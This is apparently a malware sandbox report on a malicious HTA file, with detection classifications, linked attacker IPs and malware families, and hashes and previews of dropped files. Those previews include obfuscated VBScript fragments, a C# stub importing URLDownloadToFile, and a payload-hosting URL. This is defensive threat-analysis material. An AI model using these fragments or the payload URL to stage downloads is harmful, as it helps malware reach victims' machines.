                                                    • HCA enabled
                                                    • EGA enabled
                                                    • AMSI enabled
                                                    Analysis Mode:default
                                                    Analysis stop reason:Timeout
                                                    Sample name:seemybestdayguvenu.hta
                                                    Detection:MAL
                                                    Classification:mal100.phis.troj.expl.evad.winHTA@17/16@1/1
                                                    EGA Information:
                                                    • Successful, ratio: 75%
                                                    HCA Information:
                                                    • Successful, ratio: 95%
                                                    • Number of executed functions: 40
                                                    • Number of non-executed functions: 224
                                                    Cookbook Comments:
                                                    • Found application associated with file extension: .hta

                                                    Warnings

                                                    • Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe
                                                    • Excluded IPs from analysis (whitelisted): 104.17.201.1, 104.17.202.1
                                                    • Excluded domains from analysis (whitelisted): client.wns.windows.com, ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, resc.cloudinary.com.cdn.cloudflare.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
                                                    • Execution Graph export aborted for target mshta.exe, PID 1372 because there are no executed function
                                                    • Not all processes where analyzed, report is missing behavior information
                                                    • Report size getting too big, too many NtCreateKey calls found.
                                                    • Report size getting too big, too many NtOpenKeyEx calls found.
                                                    • Report size getting too big, too many NtProtectVirtualMemory calls found.
                                                    • Report size getting too big, too many NtQueryAttributesFile calls found.
                                                    • Report size getting too big, too many NtQueryValueKey calls found.
                                                    • Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
                                                    • VT rate limit hit for: seemybestdayguvenu.hta

                                                    Simulations

                                                    Behavior and APIs

                                                    TimeTypeDescription
                                                    09:47:41API Interceptor112x Sleep call for process: powershell.exe modified
                                                    09:48:53API Interceptor3x Sleep call for process: aspnet_compiler.exe modified

                                                    Joe Sandbox View / Context

                                                    IPs

                                                    MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                    172.245.123.29seemebestthings.htaGet hashmaliciousCobalt Strike, HTMLPhisherBrowse
                                                    • 172.245.123.29/1343/seemebestthingswithentirethingswithgreatnaturethings.tIF
                                                    Swiftcopy.xla.xlsxGet hashmaliciousHTMLPhisherBrowse
                                                    • 172.245.123.29/1343/seemebestthingswithentirethingswithgreatnaturethings.tIF

                                                    Domains

                                                    ⊘No context

                                                    ASNs

                                                    MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                    AS-COLOCROSSINGUSk4PAIh16E6.exeGet hashmaliciousDCRat, PureLog Stealer, zgRATBrowse
                                                    • 192.3.118.10
                                                    scan_241205-801_draft_PO.exeGet hashmaliciousRemcos, GuLoaderBrowse
                                                    • 104.168.7.16
                                                    Transferencia de pago.xlam.xlsxGet hashmaliciousAgentTeslaBrowse
                                                    • 192.3.243.136
                                                    LdSbZG1iH6.exeGet hashmaliciousRemcos, PureLog StealerBrowse
                                                    • 192.3.64.152
                                                    maybecreatebesthingswithgreatnicewhichgivenbreakingthingstobe.htaGet hashmaliciousCobalt Strike, FormBook, HTMLPhisherBrowse
                                                    • 172.245.123.3
                                                    Document.xla.xlsxGet hashmaliciousFormBook, HTMLPhisherBrowse
                                                    • 107.172.44.175
                                                    bestimylover.htaGet hashmaliciousCobalt Strike, FormBook, HTMLPhisherBrowse
                                                    • 107.172.44.175
                                                    nicpeoplesideasgivenforme.htaGet hashmaliciousCobalt Strike, HTMLPhisherBrowse
                                                    • 198.46.178.192
                                                    dgreatth.docGet hashmaliciousUnknownBrowse
                                                    • 192.3.95.197
                                                    MdDRzxozMD.xlsxGet hashmaliciousUnknownBrowse
                                                    • 104.168.7.19

                                                    JA3 Fingerprints

                                                    ⊘No context

                                                    Dropped Files

                                                    ⊘No context

                                                    Created / dropped Files

                                                    C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\seemybestthingswhatdoingforbetter[1].tiff

                                                    Download File
                                                    Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                    File Type:Unicode text, UTF-16, little-endian text, with very long lines (3147), with CRLF line terminators
                                                    Category:dropped
                                                    Size (bytes):153776
                                                    Entropy (8bit):3.795839774677908
                                                    Encrypted:false
                                                    SSDEEP:3072:pSBne1+7h7NL321Cj3hGL/vLASBne1+7h7NL321Cj3hGCSBne1+7h7NL321Cj3hH:pSBneAFBL30CjtSBneAFBL30CjDSBneM
                                                    MD5:6C844332E9D3083BBAC2E8E4F9FB1BEF
                                                    SHA1:C8475632D67C3C6021B037683BF1F3379D0FD1DB
                                                    SHA-256:779BD83973B17AC98CD6FC97C1F98AFA91AEF1D36CC8CB285AAEEAE96D732025
                                                    SHA-512:7B896985EA4748107F10A7700D66898E7497EA8943B7C1BD31B16A033580756D8BDCBFFF8EBD10276EE86899B2F5464950A308B2169AA363B6DD85F105A02867
                                                    Malicious:false
                                                    Preview:...... . . . .....K.G.a.k.G.W.W.z.L.k.L.K.d.m.N. .=. .".z.L.e.L.z.c.p.U.t.I.i.g.z.L.R.".....g.G.K.c.l.A.A.K.f.W.L.c.m.O.e. .=. .".b.K.L.p.L.C.U.G.p.P.s.I.C.g.i.".....U.K.L.m.P.f.G.d.a.q.b.K.P.J.K. .=. .".q.e.U.L.o.N.W.i.R.P.R.i.m.n.L.".........t.L.u.L.f.K.L.L.k.n.T.p.o.P.o. .=. .".i.N.L.K.K.B.G.k.N.g.K.L.L.g.d.".....L.e.W.O.o.b.R.U.h.T.A.R.p.r.n. .=. .".T.g.c.l.f.I.J.B.d.W.G.W.z.U.H.".....W.a.p.r.f.J.j.W.Z.f.K.b.P.f.b. .=. .".z.K.o.p.N.P.a.A.b.c.U.f.L.O.Z.".....R.P.h.p.s.O.i.k.t.t.W.p.c.l.p. .=. .".k.L.i.d.z.B.u.l.i.h.j.e.j.p.m.".....W.L.i.Q.g.U.b.K.k.i.N.A.u.s.S. .=. .".R.Q.W.k.e.B.N.Q.n.t.U.m.K.W.h.".....e.L.z.o.o.T.i.n.A.m.e.t.C.L.L. .=. .".m.v.L.f.U.a.d.z.W.O.W.W.W.W.U.".....p.W.o.L.R.e.U.T.z.m.K.x.I.P.G. .=. .".a.W.n.W.J.d.C.o.p.I.m.n.h.L.z.".....e.c.x.A.l.H.v.k.i.U.A.W.Z.a.g. .=. .".c.A.z.v.G.k.h.L.Q.W.k.i.R.z.U.".....b.K.l.G.R.x.x.m.p.u.T.o.O.b.e. .=. .".r.P.b.c.h.B.d.u.x.m.S.L.z.C.u.".....m.A.T.A.e.d.W.N.q.G.q.k.c.d.B. .=. .".o.c.B.f.S.z.x.L.W.K.W.K.U.h.L.".....c.A.L.l.W.b.N.c.

                                                    C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

                                                    Download File
                                                    Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                    File Type:data
                                                    Category:dropped
                                                    Size (bytes):5829
                                                    Entropy (8bit):4.901113710259376
                                                    Encrypted:false
                                                    SSDEEP:96:ZCJ2Woe5H2k6Lm5emmXIGLgyg12jDs+un/iQLEYFjDaeWJ6KGcmXlQ9smpFRLcUn:Uxoe5HVsm5emdQgkjDt4iWN3yBGHVQ9v
                                                    MD5:7827E04B3ECD71FB3BD7BEEE4CA52CE8
                                                    SHA1:22813AF893013D1CCCACC305523301BB90FF88D9
                                                    SHA-256:5D66D4CA13B4AF3B23357EB9BC21694E7EED4485EA8D2B8C653BEF3A8E5D0601
                                                    SHA-512:D5F6604E49B7B31C2D1DA5E59B676C0E0F37710F4867F232DF0AA9A1EE170B399472CA1DF0BD21DF702A1B5005921D35A8E6858432B00619E65D0648C74C096B
                                                    Malicious:false
                                                    Preview:PSMODULECACHE.....$...z..Y...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script........$...z..T...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PSModule.psm1*.......Install-Script........Save-Module........Publish-Module........Find-Module........Download-Package........Update-Module....

                                                    C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                    Download File
                                                    Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                    File Type:data
                                                    Category:dropped
                                                    Size (bytes):1144
                                                    Entropy (8bit):5.3306128110270805
                                                    Encrypted:false
                                                    SSDEEP:24:3s0SgSKco4KmBs4RPT6BmFoUebIKomjKcmZ9t7J0gt/NKM9r8Hd:OgSU4y4RQmFoUeWmfmZ9tK8NF9u
                                                    MD5:9A6103EC685BEDCD33F85E0F994D7944
                                                    SHA1:341ED92AAF527AE06E4EDE1D0104E55E06A052C6
                                                    SHA-256:91AA3686A897A33B15456EC0B46030C4F64C574461641DC9DCEC086280E3A4DE
                                                    SHA-512:E399A530ED2EE13C13582202399C1D0911E64D27444F87C66C9616931BC44481DF888FEC036D4598E7BA56B84AF0662F049A426868F07F1F917AE550B8FD12F0
                                                    Malicious:false
                                                    Preview:@...e.................................^..............@..........@...............(..o...B.Rb&............Microsoft.VisualBasic...H...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..|f........System.Core.D...............4..7..D.#V.............System.Management.AutomationL.................*gQ?O.....x5.......#.Microsoft.Management.Infrastructure.<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServices4.................%...K... ...........System.Xml..8..................1...L..U;V.<}........System.Numerics.4.....................@.[8]'.\........System.Data.<...............i..VdqF...|...........System.ConfigurationH................WY..2.M.&..g*(g........Microsoft.PowerShell.Security...<...............V.}...@...i...........System.Transactions.P...............8..{...@.e..."4.......%.Microsoft.PowerShell.Commands.Utility...

                                                    C:\Users\user\AppData\Local\Temp\3cxbggpe\3cxbggpe.0.cs

                                                    Download File
                                                    Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                    File Type:C++ source, Unicode text, UTF-8 (with BOM) text, with very long lines (361)
                                                    Category:dropped
                                                    Size (bytes):469
                                                    Entropy (8bit):3.828386855504323
                                                    Encrypted:false
                                                    SSDEEP:6:V/DsYLDS81zuOyeMG/QXReKJ8SRHy4HiQvm7KCnjxxKf/aSfPQy:V/DTLDfurXfHuNxsRnQy
                                                    MD5:68C3122D3508C8398A5BF32A7AF8AEED
                                                    SHA1:D40123C42D761FF6275AE94806F5D305B96A45B6
                                                    SHA-256:212165C8BA3C46F5102FB988A885CAF909A1CE2B795274E754D0A8A9BA5DB003
                                                    SHA-512:66BBF4FC7A9BAF67F172AD7BCBFBB99C7F876B54F07D162DEF6C7507EF33485F99502F776ECD50078DED9E040173165A1A7C55D77EAD7E7EED1075DD4E9B303F
                                                    Malicious:false
                                                    Preview:.using System;.using System.Runtime.InteropServices;..namespace mw.{. public class GT. {. [DllImport("urLMON.DLL", CharSet = CharSet.Unicode)]public static extern IntPtr URLDownloadToFile(IntPtr LeSvNGvwakZ,string qbEs,string HKmjFTTe,uint g,IntPtr mTkZUqWTnw);.. }..}.

                                                    C:\Users\user\AppData\Local\Temp\3cxbggpe\3cxbggpe.cmdline

                                                    Download File
                                                    Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                    File Type:Unicode text, UTF-8 (with BOM) text, with very long lines (372), with no line terminators
                                                    Category:dropped
                                                    Size (bytes):375
                                                    Entropy (8bit):5.2092950636746105
                                                    Encrypted:false
                                                    SSDEEP:6:pAu+H2LvkuqJDdqxLTKbDdqB/6K2N723fZ400zxs7+AEszIN723fZ4pA:p37Lvkmb6K2aSWZETaX
                                                    MD5:C9515B69438CD7F1655E38DF8520CC2A
                                                    SHA1:D6FC50AD5B16F52F3231F1A63CC87D58E1E84F85
                                                    SHA-256:2D44E68735E822DBD6D78F990D522768CFD8187C0301163B7F37B0C8F863F7AB
                                                    SHA-512:AAB5BFF7A4754C2B4919C6D78652FC9E27523ECC291ACF3FA5F04312DC71FA72F7116BC08EDDFA72199DBCD5F0BEF2082580BAA106780BB0F02981C173D432D4
                                                    Malicious:true
                                                    Preview:./t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\3cxbggpe\3cxbggpe.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\3cxbggpe\3cxbggpe.0.cs"

                                                    C:\Users\user\AppData\Local\Temp\3cxbggpe\3cxbggpe.dll

                                                    Download File
                                                    Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):3072
                                                    Entropy (8bit):2.8199431578742766
                                                    Encrypted:false
                                                    SSDEEP:24:etGSjPBG5eM7p8aGtzkiiBRpQCSjtkZfrMBqhkWI+ycuZhN9QGakScQXPNnq:6ksM+a0NEa6JruEH1ulNa3Bq
                                                    MD5:8DE59330BB31DE696ABFE37EBCDB1E98
                                                    SHA1:CEB62D8AFE5E0663656BE1ABC0D0E16214D02CEE
                                                    SHA-256:3FCC370F3494859BD4FE38D6ADB00CC664703E203219C4A0F3194BD1A6E850A6
                                                    SHA-512:1D156338635ED3EDBC2E60A641362795F916C35624AA287B0E1AE9360336EA09FAF61215CB6FA8B3B7DF65F99938256B17D3766C12F4D0E3C5D92775074FFA21
                                                    Malicious:false
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....uTg...........!.................#... ...@....... ....................................@.................................X#..S....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................#......H.......X ................................................................(....*BSJB............v4.0.30319......l.......#~..........#Strings............#US.........#GUID.......L...#Blob...........G.........%3............................................................-.&.....s.....s.......................................... 4.....P ......F.........L.....X.....].....f.....h...F.....F...!.F.....F.......!.....*.......4..................................................<Module>.3c

                                                    C:\Users\user\AppData\Local\Temp\3cxbggpe\3cxbggpe.out

                                                    Download File
                                                    Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                    File Type:Unicode text, UTF-8 (with BOM) text, with very long lines (455), with CRLF, CR line terminators
                                                    Category:modified
                                                    Size (bytes):876
                                                    Entropy (8bit):5.290740259058265
                                                    Encrypted:false
                                                    SSDEEP:24:KOuqd3ka6K2aDETaeKax5DqBVKVrdFAMBJTH:yika6CDE+eK2DcVKdBJj
                                                    MD5:60A1A6BF49543C6011034DC552479002
                                                    SHA1:B897A49D0CD6C6F5CEC9FD9A3252C8A91F9EA6C7
                                                    SHA-256:09A7C52BCB4BF8D330CD3135B40B307785992A63927D6061B46BE8A3064BB86D
                                                    SHA-512:4FDE59D2161D2AE86BDCA690C45C2F92F78F10F2B4FE60867E89F107FF3F6A194508F8BCEF5CAFA96B449A84123BE543072D6C36A4CDFF44592F8A9CC67F6081
                                                    Malicious:false
                                                    Preview:.C:\Users\user\Desktop> "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\3cxbggpe\3cxbggpe.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\3cxbggpe\3cxbggpe.0.cs"......Microsoft (R) Visual C# Compiler version 4.8.4084.0...for C# 5..Copyright (C) Microsoft Corporation. All rights reserved.......This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240....

                                                    C:\Users\user\AppData\Local\Temp\3cxbggpe\CSC280B62266E03482F8F906EDB13385254.TMP

                                                    Download File
                                                    Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
                                                    File Type:MSVC .res
                                                    Category:dropped
                                                    Size (bytes):652
                                                    Entropy (8bit):3.101189623949359
                                                    Encrypted:false
                                                    SSDEEP:12:DXt4Ii3ntuAHia5YA49aUGiqMZAiN5grynGXGak7YnqqcGXXPN5Dlq5J:+RI+ycuZhN9QGakScQXPNnqX
                                                    MD5:630FA374468EBDE52C8ABB8F41B5D72B
                                                    SHA1:495AB20EEAE6DF7C7ACBE08BEDD2ED807F7BE6EF
                                                    SHA-256:C312A69060854429E6A3EA2142AFCDDB3697F42BA244A776E6CA2FC8B9279565
                                                    SHA-512:C22199D19B084993EF27D267DD9C037FDA4124012A4A4B603D52D528D4AE9277BDDF2C93FF10A3701BA8FF018703015CAD04991377C309CE3924FB2260A43F18
                                                    Malicious:false
                                                    Preview:.... ...........................L...<...............0...........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...3.c.x.b.g.g.p.e...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e...3.c.x.b.g.g.p.e...d.l.l.....4.....P.r.o.d.u.c.t.V.e.r.s.i.o.n...0...0...0...0...8.....A.s.s.e.m.b.l.y. .V.e.r.s.i.o.n...0...0...0...0...

                                                    C:\Users\user\AppData\Local\Temp\RESA8D6.tmp

                                                    Download File
                                                    Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
                                                    File Type:Intel 80386 COFF object file, not stripped, 3 sections, symbol offset=0x496, 9 symbols, created Sat Dec 7 16:20:57 2024, 1st section name ".debug$S"
                                                    Category:dropped
                                                    Size (bytes):1340
                                                    Entropy (8bit):3.9804989943740634
                                                    Encrypted:false
                                                    SSDEEP:24:HNK9oVaip5aHuwKcjmfwI+ycuZhN9QGakScQXPNnqSed:JIiatK2mo1ulNa3BqS+
                                                    MD5:38F5E480FDFA1672DD234F007B206343
                                                    SHA1:7B7854842EBEFEE08F1DD2102A2E01D1A7238FE7
                                                    SHA-256:82F6786366182B3583865EA2E7F3D5772EA46B572C7FDEE8096488DAECC815CE
                                                    SHA-512:FDDE6F6EDC537CA4A8A5753A92D3D4C2DDBFF46F489180A6CE8B3E5819DA70D1BB761DF999D259F41B6BC3B6366B04F269CEA84A4027CB1C513E02457DECCAF4
                                                    Malicious:false
                                                    Preview:L....uTg.............debug$S........X...................@..B.rsrc$01........X.......<...........@..@.rsrc$02........P...F...............@..@........W....c:\Users\user\AppData\Local\Temp\3cxbggpe\CSC280B62266E03482F8F906EDB13385254.TMP................c..tF...,...A..+..........7.......C:\Users\user\AppData\Local\Temp\RESA8D6.tmp.-.<....................a..Microsoft (R) CVTRES._.=..cwd.C:\Users\user\Desktop.exe.C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe.................................................0.......................H.......L...........H.........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...3.c.x.b.g.g.p.e...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....

                                                    C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2qybaiyi.3df.ps1

                                                    Download File
                                                    Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                    File Type:ASCII text, with no line terminators
                                                    Category:dropped
                                                    Size (bytes):60
                                                    Entropy (8bit):4.038920595031593
                                                    Encrypted:false
                                                    SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                    MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                    SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                    SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                    SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                    Malicious:false
                                                    Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                    C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_avvm4dqb.jfk.psm1

                                                    Download File
                                                    Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                    File Type:ASCII text, with no line terminators
                                                    Category:dropped
                                                    Size (bytes):60
                                                    Entropy (8bit):4.038920595031593
                                                    Encrypted:false
                                                    SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                    MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                    SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                    SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                    SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                    Malicious:false
                                                    Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                    C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_esvajuva.csa.psm1

                                                    Download File
                                                    Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                    File Type:ASCII text, with no line terminators
                                                    Category:dropped
                                                    Size (bytes):60
                                                    Entropy (8bit):4.038920595031593
                                                    Encrypted:false
                                                    SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                    MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                    SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                    SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                    SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                    Malicious:false
                                                    Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                    C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hivjqjli.fn2.psm1

                                                    Download File
                                                    Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                    File Type:ASCII text, with no line terminators
                                                    Category:dropped
                                                    Size (bytes):60
                                                    Entropy (8bit):4.038920595031593
                                                    Encrypted:false
                                                    SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                    MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                    SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                    SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                    SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                    Malicious:false
                                                    Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                    C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_i3jathlj.hsy.ps1

                                                    Download File
                                                    Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                    File Type:ASCII text, with no line terminators
                                                    Category:dropped
                                                    Size (bytes):60
                                                    Entropy (8bit):4.038920595031593
                                                    Encrypted:false
                                                    SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                    MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                    SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                    SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                    SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                    Malicious:false
                                                    Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                    C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mq213kx4.yq5.ps1

                                                    Download File
                                                    Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                    File Type:ASCII text, with no line terminators
                                                    Category:dropped
                                                    Size (bytes):60
                                                    Entropy (8bit):4.038920595031593
                                                    Encrypted:false
                                                    SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                    MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                    SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                    SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                    SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                    Malicious:false
                                                    Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                    C:\Users\user\AppData\Roaming\seemybestthingswhatdoingforbe.vbS

                                                    Download File
                                                    Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                    File Type:Unicode text, UTF-16, little-endian text, with very long lines (3147), with CRLF line terminators
                                                    Category:dropped
                                                    Size (bytes):153776
                                                    Entropy (8bit):3.795839774677908
                                                    Encrypted:false
                                                    SSDEEP:3072:pSBne1+7h7NL321Cj3hGL/vLASBne1+7h7NL321Cj3hGCSBne1+7h7NL321Cj3hH:pSBneAFBL30CjtSBneAFBL30CjDSBneM
                                                    MD5:6C844332E9D3083BBAC2E8E4F9FB1BEF
                                                    SHA1:C8475632D67C3C6021B037683BF1F3379D0FD1DB
                                                    SHA-256:779BD83973B17AC98CD6FC97C1F98AFA91AEF1D36CC8CB285AAEEAE96D732025
                                                    SHA-512:7B896985EA4748107F10A7700D66898E7497EA8943B7C1BD31B16A033580756D8BDCBFFF8EBD10276EE86899B2F5464950A308B2169AA363B6DD85F105A02867
                                                    Malicious:true
                                                    Preview:...... . . . .....K.G.a.k.G.W.W.z.L.k.L.K.d.m.N. .=. .".z.L.e.L.z.c.p.U.t.I.i.g.z.L.R.".....g.G.K.c.l.A.A.K.f.W.L.c.m.O.e. .=. .".b.K.L.p.L.C.U.G.p.P.s.I.C.g.i.".....U.K.L.m.P.f.G.d.a.q.b.K.P.J.K. .=. .".q.e.U.L.o.N.W.i.R.P.R.i.m.n.L.".........t.L.u.L.f.K.L.L.k.n.T.p.o.P.o. .=. .".i.N.L.K.K.B.G.k.N.g.K.L.L.g.d.".....L.e.W.O.o.b.R.U.h.T.A.R.p.r.n. .=. .".T.g.c.l.f.I.J.B.d.W.G.W.z.U.H.".....W.a.p.r.f.J.j.W.Z.f.K.b.P.f.b. .=. .".z.K.o.p.N.P.a.A.b.c.U.f.L.O.Z.".....R.P.h.p.s.O.i.k.t.t.W.p.c.l.p. .=. .".k.L.i.d.z.B.u.l.i.h.j.e.j.p.m.".....W.L.i.Q.g.U.b.K.k.i.N.A.u.s.S. .=. .".R.Q.W.k.e.B.N.Q.n.t.U.m.K.W.h.".....e.L.z.o.o.T.i.n.A.m.e.t.C.L.L. .=. .".m.v.L.f.U.a.d.z.W.O.W.W.W.W.U.".....p.W.o.L.R.e.U.T.z.m.K.x.I.P.G. .=. .".a.W.n.W.J.d.C.o.p.I.m.n.h.L.z.".....e.c.x.A.l.H.v.k.i.U.A.W.Z.a.g. .=. .".c.A.z.v.G.k.h.L.Q.W.k.i.R.z.U.".....b.K.l.G.R.x.x.m.p.u.T.o.O.b.e. .=. .".r.P.b.c.h.B.d.u.x.m.S.L.z.C.u.".....m.A.T.A.e.d.W.N.q.G.q.k.c.d.B. .=. .".o.c.B.f.S.z.x.L.W.K.W.K.U.h.L.".....c.A.L.l.W.b.N.c.

                                                    Static File Info

                                                    General

                                                    File type:HTML document, ASCII text, with very long lines (65536), with no line terminators
                                                    Entropy (8bit):2.1507994825828627
                                                    TrID:
                                                      File name:seemybestdayguvenu.hta
                                                      File size:159'240 bytes
                                                      MD5:3af71b8154d01f56072abd20b3a40b1d
                                                      SHA1:81ec9438c1e189024d85c5418b2bdf8a16577ee4
                                                      SHA256:dd8410b74d1b3249b8459fea6a43997ad653a8aa2d7aabb02f20076270d34b50
                                                      SHA512:b16e6aa7e24fd784adabf60eb1db317ad316be86849475a51c9ceb9ef048a696760c7e56f9bfd2af4f06addfeb309eff4e3f9dbf05301ee772f4a6f77bf30c3a
